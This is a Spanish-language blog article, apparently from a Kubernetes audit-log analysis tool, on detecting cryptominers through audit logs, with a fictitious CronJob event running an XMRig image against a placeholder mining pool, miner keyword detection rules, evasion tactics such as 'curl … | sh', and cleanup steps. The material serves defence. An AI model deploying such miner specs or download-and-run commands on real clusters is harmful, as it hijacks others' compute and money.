Skip to content

Esta herramienta no está afiliada a The Linux Foundation, la Cloud Native Computing Foundation (CNCF) ni el proyecto Kubernetes, ni está respaldada ni patrocinada por ellos. Kubernetes y K8s son marcas registradas de The Linux Foundation. EKS, GKE, AKS y otros nombres son marcas comerciales de sus respectivos propietarios.

Criptominería en Kubernetes: detectarla en los audit logs

Detecta criptominería en clústeres de Kubernetes con los audit logs: imágenes y argumentos de mineros, registries inusuales, persistencia con CronJob.

Publicado el 6 min de lectura

TL;DR. Un minero en un clúster es un workload, y todo workload se crea a través del API server. En el audit log, busca escrituras de workloads cuya imagen o argumentos nombren un minero (XMRig y compañía) o un pool de minería (stratum+tcp://, --donate-level), imágenes descargadas de registries que no usas y la persistencia que las rodea: CronJobs, DaemonSets, a menudo en kube-system. Después localiza la identidad que los creó: el minero es el síntoma, la credencial robada es el incidente. El secuestro de recursos es ATT&CK T1496.

La criptominería es la forma más habitual en que una intrusión en un clúster se hace visible, porque cuesta dinero y CPU. También es la parte menos interesante de la investigación: quien desplegó el minero tenía acceso suficiente para hacer cosas mucho peores, y puede que las hiciera.

Un patrón documentado

Microsoft describió una campaña así en 2020: dashboards de Kubeflow expuestos a Internet mediante un balanceador permitían a cualquiera desplegar contenedores, y los atacantes lo aprovecharon para ejecutar una imagen con XMRig en decenas de clústeres, la mayoría en AKS (blog de Microsoft Security, «Misconfigured Kubeflow workloads are a security risk»). El mismo artículo explica por qué atraen esos clústeres: los nodos de machine learning son potentes y a veces tienen GPU.

El patrón es común: un dashboard expuesto o un token con demasiados privilegios como punto de entrada, y después workloads creados con las propias credenciales del clúster. El recorrido del incidente ficticio de este sitio sigue esa misma forma.

Qué registra el audit log

En nivel Request o RequestResponse para las escrituras de workloads (el valor por defecto en EKS y GKE, consulta la guía de exportación), el requestObject de un Deployment, DaemonSet, Job o CronJob contiene la plantilla del pod: imágenes, comandos, argumentos, recursos. Un CronJob ficticio:

{
  "verb": "create",
  "user": { "username": "system:serviceaccount:kube-system:node-health" },
  "objectRef": { "resource": "cronjobs", "namespace": "kube-system", "name": "kube-state-sync", "apiGroup": "batch" },
  "requestObject": {
    "spec": {
      "schedule": "*/5 * * * *",
      "jobTemplate": { "spec": { "template": { "spec": {
        "containers": [{
          "name": "sync",
          "image": "registry.k8s-mirror.example:5000/xmrig/xmrig:6.21.0",
          "args": ["--url=pool.minexmr.example:4444", "--donate-level=0", "--cpu-max-threads-hint=75"],
          "resources": { "limits": { "cpu": "2" } }
        }]
      } } } }
    }
  }
}

Todo lo que necesitas está en un evento: el minero, el pool, un nombre que imita un add-on de Kubernetes, un namespace elegido para camuflarse, un registry que no es el tuyo, una programación que recrea los pods si alguien los borra y un límite de CPU pensado para pasar desapercibido.

Detecciones

ReglaSeveridadLógica
Imagen o comando de crypto-miningCríticaLa imagen contiene un marcador de minero (xmrig, xmr-stak, minerd, cpuminer, nicehash, kinsing, c3pool, moneroocean…), o el comando / los argumentos del contenedor contienen stratum+tcp, stratum+ssl, --donate-level, xmrig, minerd; también alertas de Falco cuyo comando coincide
Imagen proveniente de un registry inusualBajaRegistry fuera de una lista de registries públicos y cloud comunes (docker.io, registry.k8s.io, gcr.io, ghcr.io, quay.io, mcr.microsoft.com, public.ecr.aws, *.amazonaws.com, *.pkg.dev, *.azurecr.io…)
CronJob creadoMediaCualquier CronJob escrito por una identidad que no es de sistema
DaemonSet creado en kube-systemAltaConsulta pods privilegiados y escape de contenedores

La regla de mineros es la única del analizador que salta sea quien sea quien creó el pod, controladores incluidos: un minero lanzado por un CronJob aparece como pods creados por el controlador de Jobs, y aun así quieres verlo. La agrupación es por imagen, así que un hallazgo cubre todas las réplicas.

La regla de registries tiene severidad baja a propósito. Tu propio registry privado la disparará hasta que lo añadas a la lista de confianza; a partir de ahí, cualquier otro destaca.

La evasión que cabe esperar

Buscar por nombre atrapa a los atacantes perezosos. Los demás:

  • renombran el binario y la imagen (alpine, nginx, busybox con una carga descargada);
  • parten de una imagen legítima y descargan el minero en el comando (curl … | sh);
  • minan por TLS hacia un proxy en el puerto 443 en lugar de a un pool conocido;
  • ejecutan el minero en el nodo tras un escape de contenedor, sin ninguna llamada a la API.

Así que fíjate también en el contexto que sí registra el audit log: workloads nuevos creados por identidades que nunca despliegan, imágenes de registries nuevos, campos command con patrones de descarga y ejecución, CronJobs y DaemonSets creados fuera de tu pipeline de despliegue y workloads creados justo después de un binding a cluster-admin nuevo.

Señales fuera del audit log

La minería hace ruido en otros canales, y a menudo es por ahí por donde se descubre:

  • Métricas de CPU y nodos: nodos al límite, cluster autoscaler añadiendo nodos sin motivo de negocio.
  • Tráfico de salida: conexiones a pools de minería, típicamente en puertos como 3333, 4444 o 5555, o a endpoints TLS inusuales.
  • Facturación cloud: un salto en cómputo, a veces en regiones que no usas.
  • Detección de runtime: Falco puede señalar comportamiento de minería a nivel de procesos y red; el proyecto describe el enfoque en Cryptomining Detection Using Falco. Carga las alertas de Falco en JSON junto a los audit logs en el analizador para verlas en una misma línea de tiempo.

Una limpieza que funcione de verdad

Borrar los pods no basta: el CronJob o el DaemonSet los recrea en minutos.

  1. Preserva: guarda los specs (kubectl get cronjob,daemonset,deployment -A -o yaml), los audit logs y, si es posible que haya habido un escape, snapshots de los discos de los nodos.
  2. Encuentra todas las copias: busca la imagen, la dirección del pool y el comando en todos los namespaces, no solo en el que lo encontraste.
  3. Elimina primero los controladores (CronJobs, DaemonSets, Deployments, Jobs) y después los pods que queden.
  4. Elimina el acceso: el binding y la cuenta de servicio usados para crearlos, y el punto de entrada original.
  5. Reconstruye los nodos si el minero corrió privilegiado o con montajes del host.
  6. Bloquea la salida hacia pools de minería y restringe el tráfico saliente con network policies.
  7. Restringe los registries con una política de admisión (ValidatingAdmissionPolicy, Kyverno o Gatekeeper), idealmente con verificación de firmas.
  8. Revisa la facturación y el log de auditoría cloud en busca de cualquier cosa creada fuera del clúster con las mismas credenciales.

Artículos relacionados

Artículos relacionados

Detecta la preparación de un escape de contenedor en los audit logs de Kubernetes: pods privilegiados, hostPID, hostPath de / y DaemonSets en kube-system.
Encuentra escaladas de privilegios RBAC de Kubernetes en los audit logs: bindings a cluster-admin, verbos escalate, bind e impersonate, acceso anónimo.
Detecta robo de secrets y tokens de cuentas de servicio de Kubernetes en los audit logs: list globales, ráfagas, TokenRequest, uso desde IP pública, can-i.

Esta herramienta no está afiliada a The Linux Foundation, la Cloud Native Computing Foundation (CNCF) ni el proyecto Kubernetes, ni está respaldada ni patrocinada por ellos. Kubernetes y K8s son marcas registradas de The Linux Foundation. EKS, GKE, AKS y otros nombres son marcas comerciales de sus respectivos propietarios.